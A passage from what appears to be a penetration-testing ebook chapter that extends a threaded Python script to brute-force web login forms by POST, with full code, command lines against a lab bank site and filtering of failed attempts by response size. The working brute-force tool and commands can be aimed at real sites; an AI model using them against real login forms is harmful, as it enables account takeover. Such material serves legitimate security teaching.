Form-based authentication overview

Let's start with a quick overview of form-based authentication. Form-based authentication is the most common and widely used method of authentication in web applications.

This method is not standardized as the previous two methods we learned were, which means that the implementation of this method will vary. Basically, the web application will present a form that will prompt the user for the username and password. Then, that data will go to the server where it will be evaluated, and if the credentials are valid, it will provide a valid session cookie to the user, and it will let the user access the protected resource.

Let's add this to our previous script. So, you're probably waiting for me to say let's go back to the editor and open the previous scripts, but no. Let's just stop for a minute and evaluate what our best option is here. We're going to deal with forms, and there is no standard as to how to handle authentication on forms, so we'll need to have good filtering in order to weed out the incorrect attempts and to be able to identify the good ones.

For this reason, instead of adding all the filtering code to the previous script, we add the post handling and payload handling to the forzaBruta-forms.py script from Section 5. So now, go back to the editor and open the file. Let's start adding the code to enable it to brute force login forms.

We don't add a new import. We can go to the start function and add the getopt function for handling the post payload:

def start(argv):
banner()
if len(sys.argv) < 5:
usage()
sys.exit()
try:
opts, args = getopt.getopt(argv, "w:f:t:p:c:")
except getopt.GetoptError:
print "Error en arguments"
sys.exit()
hidecode = 000
payload = ""
for opt, arg in opts:
if opt == '-w':
url = arg
elif opt == '-f':
dict = arg
elif opt == '-t':
threads = arg
elif opt == '-p':
payload = arg
elif opt == '-c':
hidecode = arg
try:
f = open(dict, "r")
words = f.readlines()
except:
print"Failed opening file: " + dict + " "
sys.exit()
launcher_thread(words, threads, url, hidecode, payload)

In this case, it will be the -p. If -p is present, we assign its value to the payload variable. We pass payload to launcher_thread.

Then, inside the launcher_thread, we pass it again to request_performer:

def launcher_thread(names, th, url, hidecode,payload):
global i
i = []
resultlist = []
i.append(0)
print "-----------------------------------------------------------------------------------------------------------------------------------"
print "Time" + " " + " code chars words lines"
print "-----------------------------------------------------------------------------------------------------------------------------------"
while len(names):
try:
if i[0] < th:
n = names.pop(0)
i[0] = i[0] + 1
thread = request_performer(n, url, hidecode, payload)
thread.start()

except KeyboardInterrupt:
print "ForzaBruta interrupted by user. Finishing attack.."
sys.exit()
thread.join()
return


if __name__ == "__main__":
try:
start(sys.argv[1:])
except KeyboardInterrupt:
print "ForzaBruta interrupted by user, killing all threads..!!"

We add the payload to the init function of request_performer.

And then we check if the payload is empty or not. If it's not empty, we replace the keyword FUZZ with the dictionary word, otherwise we don't touch it and leave it as it is:

class request_performer(Thread):
def __init__(self, word, url, hidecode, payload):
Thread.__init__(self)
self.word = word.split(" ")[0]
self.url = url.replace('FUZZ', self.word)
if payload != "":
self.payload = payload.replace('FUZZ', self.word)
else:
self.payload=payload
self.hidecode = hidecode

Then, we go to the run method, and we need a conditional to tell us when to use post and when to use get. We can do this by checking if self.payload is empty, in which case we use get:

    def run(self):
try:
start = time.time()
if self.payload == "":
r = requests.get(self.url)
elaptime = time.time()
totaltime = str(elaptime - start)[1:10]

If it is not empty, we'll be using the post request.

For the post request, we need the payload in the form of a dictionary:

            else:
list=self.payload.replace("="," ").replace("&"," ").split(" ")
payload = dict([(k, v) for k,v in zip (list[::2], list[1::2])])
r = requests.post(self.url, data = payload)
elaptime = time.time()
totaltime = str(elaptime - start)[1:10]

Now, we have it as a string with & and = signs, so we're going to replace the symbols with one space, then we're going to split the string using spaces, creating a list of elements.

Then, we create a post request using that payload, and those are all the changes necessary to be able to perform password brute forcing on login forms. Now, it will be good to test it against our victim web application. Let's do it.

How do we set up a brute force attack against forms? Let's open a page that has the login form, in our case, www.scruffybank.com/login.php.

We right-click on the page and we select View Page Source:

Now, we need to find the form action, that is, where the credentials are going to be sent to be verified. In this case, it is check_login.php:

We also need the names of the variables, in this case, username and password.

That's the data we need to set up our attack.

Let's go back to the Terminal and run the script with the following command line, forzaBruta-forms.py, followed by the same URL. This time, we change the login to check_login.php. We leave the threads as 5. In this case, we have the username and password parameters in the payload of the post:

python forzaBruta-forms.py -w http://www.scruffybank.com/check_login.php -t 5 -f pass.txt -p "username=admin&password=FUZZ"

We need to concatenate the parameters with an &. weaksource.txt is a list of the weakest passwords used by people in different services. Now, let's fire this up. We can see that all of the results are 302:

So, filtering by code won't help us. We can filter out the chars equal to 2373 which we know are our failed attempts.

Let's modify the code to filter the chars instead of the code with the command-line parameter -c. We change the code to filter by chars. Doing so, we can filter by chars without modifying much of the code. Go back to the editor and modify the line self.hidecode !=code to self.hidecode != chars::

            if self.hidecode != chars:
if '200' <= code < '300':
print totaltime + " " + colored(code,'green') + " " + chars + " " + words + " " + lines +" " + r.headers["server"] + " " + self.word
elif '400' <= code < '500':
print totaltime + " " + colored(code,'red') + " " + chars + " " + words + " " + lines + " " + r.headers["server"] + " " + self.word
elif '300' <= code < '400':
print totaltime + " " + colored(code,'blue') + " " + chars + " " + words + " " + lines + " "+ r.headers["server"] + " " + self.word
else:
pass
i[0] = i[0] - 1 # Here we remove one thread from the counter
except Exception, e:
print e

Let's save this. Now, we change the command line to add -c 2373 to filter all results out, and we run it again:

python forzaBruta-forms.py -w http://www.scruffybank.com/check_login.php -t 5 -f pass.txt -p "username=admin&password=FUZZ" -c 2373

Sweet. We have our username and password:

Congratulations, you now know how to test password security against the three most common web application authentication methods! In this section, we also leveraged previous work.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.128.94.171